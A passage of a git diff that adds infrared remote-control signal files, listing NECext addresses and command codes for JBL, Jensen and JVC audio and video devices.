00 00 +command: 45 00 00 00 +# +name: SOURCE_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 47 00 00 00 +# +name: DELAY_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 48 00 00 00 +# +name: INPUT_CALIBRATE_> +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 49 00 00 00 +# +name: DELAY_V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4B 00 00 00 +# +name: CENTER_ON +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4C 00 00 00 +# +name: CENTER_+3DB +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 50 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 51 00 00 00 +# +name: DIM.DISPLAY +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 53 00 00 00 +# +name: REF. +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 56 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 58 00 00 00 +# +name: AMBIENCE_- +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5A 00 00 00 +# +name: SOUND_STAGE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir new file mode 100644 index 000000000..5a9d270c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: SET_UP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 83 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 84 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 87 00 00 00 +# +name: PANORAMA_NORMAL(1) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 89 00 00 00 +# +name: PANORAMA_WIDE(2) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8A 00 00 00 +# +name: PANORAMA_BINAURAL(3) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8B 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8C 00 00 00 +# +name: AMBIENCE_SMALL(4) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8D 00 00 00 +# +name: AMBIENCE_MEDIUM(5) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8E 00 00 00 +# +name: AMBIENCE_LARGE(6) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 8F 00 00 00 +# +name: PARAM +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 90 00 00 00 +# +name: REVERB_SMALL(7) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 91 00 00 00 +# +name: REVERB_MEDIUM(8) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 92 00 00 00 +# +name: REVERB_LARGE(9) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 93 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 94 00 00 00 +# +name: SRND_TV(10) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 95 00 00 00 +# +name: SRND_MUSIC(11) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 96 00 00 00 +# +name: SRND_FULL(12) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 97 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 98 00 00 00 +# +name: SRND_MONO(13) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 99 00 00 00 +# +name: SRND_PRO-LOGIC(14) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 9A 00 00 00 +# +name: SRND_THX_CINEMA(15) +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 9B 00 00 00 +# +name: BALANCE_^ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 9E 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A0 00 00 00 +# +name: BALANCE_< +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A1 00 00 00 +# +name: BALANCE_> +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A3 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A4 00 00 00 +# +name: BALANCE_V +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A6 00 00 00 +# +name: EFFECTS_V +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: A9 00 00 00 +# +name: EFFECTS_^ +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AA 00 00 00 +# +name: EFX_MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AB 00 00 00 +# +name: MAIN_MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AC 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AD 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AE 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: AF 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: B0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir new file mode 100644 index 000000000..971d93612 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 53 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 6D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir new file mode 100644 index 000000000..f40a7e73e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: -_-_- +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: +++ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir new file mode 100644 index 000000000..c2cf5a0e9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: CHARACTER +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 03 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 0C 00 00 00 +# +name: TITLE_INPUT +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 13 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 22 21 00 00 +command: 18 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir new file mode 100644 index 000000000..6fe3cd1d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 00 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 03 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 04 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 08 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 15 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 18 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 19 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 1B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 20 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 29 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 2B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 2C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 30 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 31 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 32 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 36 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 37 00 00 00 +# +name: +1_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 46 00 00 00 +# +name: -1_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 47 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 80 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 81 00 00 00 +# +name: +10_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 82 00 00 00 +# +name: -10_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 83 00 00 00 +# +name: ONE_DISC +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 84 00 00 00 +# +name: USER_FILE +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 89 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 94 00 00 00 +# +name: DISC_SEARCH +type: parsed +protocol: NECext +address: 22 30 00 00 +command: 95 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir new file mode 100644 index 000000000..db79b5e29 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir @@ -0,0 +1,1082 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 40 00 00 00 +# +name: POWER_(ENTER) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 40 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: STOP[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: STOP/CANCEL_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: STOP_[]_(U) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 43 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: DISC_OPEN/CLOSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: OPEN/CLOSE_(W) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 44 00 00 00 +# +name: DISC_NEXT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 45 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 45 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 48 00 00 00 +# +name: PLAY_MODE_INTROSCAN +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 48 00 00 00 +# +name: EDITING +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 49 00 00 00 +# +name: SIDE_A/B +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4A 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4B 00 00 00 +# +name: M._EJECT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4B 00 00 00 +# +name: M.EJECT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4B 00 00 00 +# +name: M.EJECT_(V) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: PLAY> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: PLAY_>_(T) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: PAUSE_(S) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 4D 00 00 00 +# +name: DISPLAY_MODE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 54 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 54 00 00 00 +# +name: DISPLAY_(MODE) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 54 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 55 00 00 00 +# +name: CALL_(->) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 55 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 55 00 00 00 +# +name: INDEX_-> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 56 00 00 00 +# +name: INDEX_--> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 56 00 00 00 +# +name: INDEX_<- +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 57 00 00 00 +# +name: INDEX_<-- +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 57 00 00 00 +# +name: AUTO_SEARCH_REV +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: AUTO_SEARCH_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: SKIP_REW_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: AUTO_SRCH_<<_(X) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: SKIP_REW_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: AUTO_SRCH/CK_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 58 00 00 00 +# +name: AUTO_SEARCH_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: SKIP_FWD>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: AUTO_SRCH_>>_(Y) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: AUTO_SRCH/CK_>> +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 59 00 00 00 +# +name: REPEAT_ALL/1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: REPEAT_(ALL_1) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 5B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: 1_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: TRACK_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: TRACK_1_(A) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: TRACK_1 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 61 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: 2_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: TRACK_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: TRACK_2_(B) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: TRACK_2 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 62 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: 3_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: TRACK_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: TRACK_3_(C) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: TRACK_3 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 63 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: 4_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: TRACK_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: TRACK_4_(D) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: TRACK_4 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 64 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: 5_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: TRACK_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: TRACK_5_(E) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: TRACK_5 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 65 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: 6_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: TRACK_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: TRACK_6_(F) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: TRACK_6 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 66 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: 7_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: TRACK_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: TRACK_7_(G) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: TRACK_7 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 67 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: 8_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: TRACK_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: TRACK_8_(H) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: TRACK_8 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 68 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: 9_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: TRACK_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: TRACK_9_(I) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: TRACK_9 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 69 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6A 00 00 00 +# +name: RESERVE +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6A 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6D 00 00 00 +# +name: CANCEL_(<-) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6D 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6D 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: 10_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: TRACK_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: TRACK_10_(J) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: TRACK_10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: +10_TRACK +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: TRACK_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: TRACK_+10_(K) +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: TRACK_+10 +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 6F 00 00 00 +# +name: SEARCH_REV +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: SRCH_REW<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: SEARCH_REV_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: MANUAL_SEARCH_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: SEARCH_REW_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 70 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: PLAY_MODE_PROGRAM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 71 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 72 00 00 00 +# +name: PLAY_MODE_RANDOM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 72 00 00 00 +# +name: MAG.PRGM +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 73 00 00 00 +# +name: GRAPHICS_CH_^ +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 74 00 00 00 +# +name: GRAPHICS_CH_V +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 75 00 00 00 +# +name: SEARCH_FWD +type: parsed +protocol: NECext +address: B3 00 00 00 +command: 76 00 00 